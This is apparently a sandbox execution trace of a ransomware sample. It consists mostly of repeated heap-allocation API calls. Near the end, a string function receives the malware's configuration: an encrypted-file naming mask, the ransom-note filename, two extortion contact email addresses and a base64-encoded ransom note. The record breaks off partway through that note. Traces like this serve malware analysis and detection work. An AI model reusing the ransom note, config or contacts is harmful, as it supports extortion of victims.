RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0aa8 [0165.827] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33ba578, Size=0xa4) returned 0x33b3c80 [0165.827] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0b28 [0165.827] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b3c80, Size=0xa8) returned 0x33b3c80 [0165.827] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d07c8 [0165.827] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b3c80, Size=0xac) returned 0x33b9fb0 [0165.827] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d07e8 [0165.827] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b9fb0, Size=0xb0) returned 0x33b9fb0 [0165.827] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0828 [0165.827] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b9fb0, Size=0xb4) returned 0x33b9fb0 [0165.827] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0808 [0165.827] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b9fb0, Size=0xb8) returned 0x33b9fb0 [0165.827] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0d30 [0165.827] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b9fb0, Size=0xbc) returned 0x33b9fb0 [0165.827] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0d10 [0165.827] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b9fb0, Size=0xc0) returned 0x33b9fb0 [0165.827] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0d50 [0165.827] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b9fb0, Size=0xc4) returned 0x33b9fb0 [0165.827] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0e70 [0165.827] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c6ff0, Size=0x1c) returned 0x33cc050 [0165.827] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0e50 [0165.827] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x4) returned 0x33c67b0 [0165.827] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0c90 [0165.827] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c67b0, Size=0x8) returned 0x33c6830 [0165.827] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0d70 [0165.827] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c6830, Size=0xc) returned 0x33c1cc0 [0165.827] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0cf0 [0165.827] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c1cc0, Size=0x10) returned 0x33c1b88 [0165.827] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0d90 [0165.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c1b88, Size=0x14) returned 0x33d0e90 [0165.828] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0db0 [0165.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d0e90, Size=0x18) returned 0x33d0e10 [0165.828] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0c10 [0165.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d0e10, Size=0x1c) returned 0x33cbee8 [0165.828] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0dd0 [0165.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33cbee8, Size=0x20) returned 0x33cc0c8 [0165.828] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0c30 [0165.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33cc0c8, Size=0x24) returned 0x33c2528 [0165.828] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0df0 [0165.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c2528, Size=0x28) returned 0x33c2198 [0165.828] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0c70 [0165.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c2198, Size=0x2c) returned 0x33bb728 [0165.828] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0e10 [0165.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bb728, Size=0x30) returned 0x33bbaa8 [0165.828] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0e30 [0165.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bbaa8, Size=0x34) returned 0x33cf460 [0165.828] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0f10 [0165.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33cf460, Size=0x38) returned 0x33cf9a0 [0165.828] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0f90 [0165.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33cf9a0, Size=0x3c) returned 0x33c0978 [0165.828] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0bb0 [0165.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c0978, Size=0x40) returned 0x33c05d0 [0165.828] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0e90 [0165.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c05d0, Size=0x44) returned 0x33c2730 [0165.828] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0eb0 [0165.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c2730, Size=0x48) returned 0x33c2910 [0165.828] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0ed0 [0165.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c2910, Size=0x4c) returned 0x33bb548 [0165.828] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0f30 [0165.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bb548, Size=0x50) returned 0x33bb548 [0165.828] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0bd0 [0165.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bb548, Size=0x54) returned 0x33bb548 [0165.828] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0ef0 [0165.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bb548, Size=0x58) returned 0x33bb548 [0165.828] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0f50 [0165.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bb548, Size=0x5c) returned 0x33bc500 [0165.828] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0f70 [0165.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bc500, Size=0x60) returned 0x33bc500 [0165.829] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0bf0 [0165.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bc500, Size=0x64) returned 0x33bc500 [0165.829] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0c50 [0165.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bc500, Size=0x68) returned 0x33bc500 [0165.829] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0cb0 [0165.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bc500, Size=0x6c) returned 0x33b4a28 [0165.829] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0cd0 [0165.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b4a28, Size=0x70) returned 0x33b4a28 [0165.829] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1110 [0165.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b4a28, Size=0x74) returned 0x33bf3f0 [0165.829] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1030 [0165.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bf3f0, Size=0x78) returned 0x33bf3f0 [0165.829] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d11f0 [0165.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bf3f0, Size=0x7c) returned 0x33b9ee0 [0165.829] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1310 [0165.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b9ee0, Size=0x80) returned 0x33b9ee0 [0165.829] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1010 [0165.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b9ee0, Size=0x84) returned 0x33c2090 [0165.829] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1210 [0165.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c2090, Size=0x88) returned 0x33c2090 [0165.829] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1230 [0165.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c2090, Size=0x8c) returned 0x33bacd0 [0165.829] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1250 [0165.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bacd0, Size=0x90) returned 0x33bacd0 [0165.829] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1070 [0165.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bacd0, Size=0x94) returned 0x33bf4b8 [0165.829] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d10d0 [0165.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bf4b8, Size=0x98) returned 0x33bf4b8 [0165.829] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1270 [0165.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bf4b8, Size=0x9c) returned 0x33ba578 [0165.829] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1330 [0165.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33ba578, Size=0xa0) returned 0x33ba578 [0165.829] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1190 [0165.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33ba578, Size=0xa4) returned 0x33b3c80 [0165.829] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1090 [0165.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b3c80, Size=0xa8) returned 0x33b3c80 [0165.830] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d10f0 [0165.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b3c80, Size=0xac) returned 0x33b3a70 [0165.830] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d10b0 [0165.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b3a70, Size=0xb0) returned 0x33b3a70 [0165.830] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1290 [0165.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b3a70, Size=0xb4) returned 0x33b3a70 [0165.830] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1130 [0165.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b3a70, Size=0xb8) returned 0x33b3a70 [0165.830] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d11d0 [0165.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b3a70, Size=0xbc) returned 0x33b3a70 [0165.830] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d11b0 [0165.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b3a70, Size=0xc0) returned 0x33b3a70 [0165.830] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0fb0 [0165.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b3a70, Size=0xc4) returned 0x33b3a70 [0165.830] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d12b0 [0165.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b3a70, Size=0xc8) returned 0x33b3a70 [0165.830] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1150 [0165.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b3a70, Size=0xcc) returned 0x33b3a70 [0165.830] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d12d0 [0165.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b3a70, Size=0xd0) returned 0x33b3a70 [0165.830] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d12f0 [0165.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b3a70, Size=0xd4) returned 0x33b3a70 [0165.830] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1350 [0165.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b3a70, Size=0xd8) returned 0x33b3a70 [0165.830] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1170 [0165.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b3a70, Size=0xdc) returned 0x33c0d68 [0165.830] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0fd0 [0165.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c0d68, Size=0xe0) returned 0x33c0d68 [0165.830] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0ff0 [0165.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c0d68, Size=0xe4) returned 0x33c19a0 [0165.830] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1050 [0165.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c19a0, Size=0xe8) returned 0x33c19a0 [0165.830] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c6ff0 [0165.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c19a0, Size=0xec) returned 0x33c19a0 [0165.830] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1738 [0165.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c19a0, Size=0xf0) returned 0x33c19a0 [0165.830] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d15b8 [0165.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c19a0, Size=0xf4) returned 0x33bbf50 [0165.831] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1598 [0165.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bbf50, Size=0xf8) returned 0x33bbf50 [0165.831] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1778 [0165.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bbf50, Size=0xfc) returned 0x33bbf50 [0165.831] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1458 [0165.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bbf50, Size=0x100) returned 0x33bbf50 [0165.831] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1538 [0165.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bbf50, Size=0x104) returned 0x33b9c28 [0165.831] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1498 [0165.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b9c28, Size=0x108) returned 0x33b9c28 [0165.831] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d16b8 [0165.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33cc050, Size=0x20) returned 0x33cbee8 [0165.831] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d14b8 [0165.831] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x4) returned 0x33c67b0 [0165.831] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1418 [0165.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c67b0, Size=0x8) returned 0x33c6830 [0165.831] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d14d8 [0165.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c6830, Size=0xc) returned 0x33c1ac8 [0165.831] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1678 [0165.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c1ac8, Size=0x10) returned 0x33c1b88 [0165.831] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1478 [0165.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c1b88, Size=0x14) returned 0x33d14f8 [0165.831] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1558 [0165.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d14f8, Size=0x18) returned 0x33d16d8 [0165.831] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1758 [0165.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d16d8, Size=0x1c) returned 0x33cc0c8 [0165.831] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1518 [0165.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33cc0c8, Size=0x20) returned 0x33cc0f0 [0165.831] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d15d8 [0165.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33cc0f0, Size=0x24) returned 0x33c2528 [0165.831] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1698 [0165.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c2528, Size=0x28) returned 0x33c2348 [0165.831] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1578 [0165.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c2348, Size=0x2c) returned 0x33bbaa8 [0165.831] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d15f8 [0165.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bbaa8, Size=0x30) returned 0x33bbc30 [0165.832] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1618 [0165.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bbc30, Size=0x34) returned 0x33cf420 [0165.832] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1798 [0165.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33cf420, Size=0x38) returned 0x33cf8e0 [0165.832] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d16d8 [0165.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33cf8e0, Size=0x3c) returned 0x33c0978 [0165.832] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d14f8 [0165.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c0978, Size=0x40) returned 0x33c0a08 [0165.832] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d13b8 [0165.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c0a08, Size=0x44) returned 0x33c25f0 [0165.832] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1438 [0165.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c25f0, Size=0x48) returned 0x33c2910 [0165.832] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1638 [0165.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c2910, Size=0x4c) returned 0x33bb548 [0165.832] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d16f8 [0165.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bb548, Size=0x50) returned 0x33bb548 [0165.832] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d13d8 [0165.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bb548, Size=0x54) returned 0x33bb548 [0165.832] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1658 [0165.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bb548, Size=0x58) returned 0x33bb548 [0165.832] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1718 [0165.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bb548, Size=0x5c) returned 0x33bc500 [0165.832] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d13f8 [0165.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bc500, Size=0x60) returned 0x33bc500 [0165.832] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d17b8 [0165.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bc500, Size=0x64) returned 0x33bc500 [0165.832] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d18f8 [0165.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bc500, Size=0x68) returned 0x33bc500 [0165.832] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1858 [0165.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bc500, Size=0x6c) returned 0x33b4a28 [0165.832] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d19b8 [0165.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b4a28, Size=0x70) returned 0x33b4a28 [0165.832] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1a38 [0165.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b4a28, Size=0x74) returned 0x33bf3f0 [0165.832] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1b58 [0165.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bf3f0, Size=0x78) returned 0x33bf3f0 [0165.832] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1818 [0165.833] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bf3f0, Size=0x7c) returned 0x33b9ee0 [0165.833] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1898 [0165.833] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b9ee0, Size=0x80) returned 0x33b9ee0 [0165.833] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d19d8 [0165.833] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b9ee0, Size=0x84) returned 0x33c2090 [0165.833] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1a58 [0165.833] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c2090, Size=0x88) returned 0x33c2090 [0165.833] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1a98 [0165.833] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c2090, Size=0x8c) returned 0x33bacd0 [0165.833] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d19f8 [0165.833] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33cbee8, Size=0x24) returned 0x33c2348 [0165.833] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1958 [0165.833] strtol (in: _Str="0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvd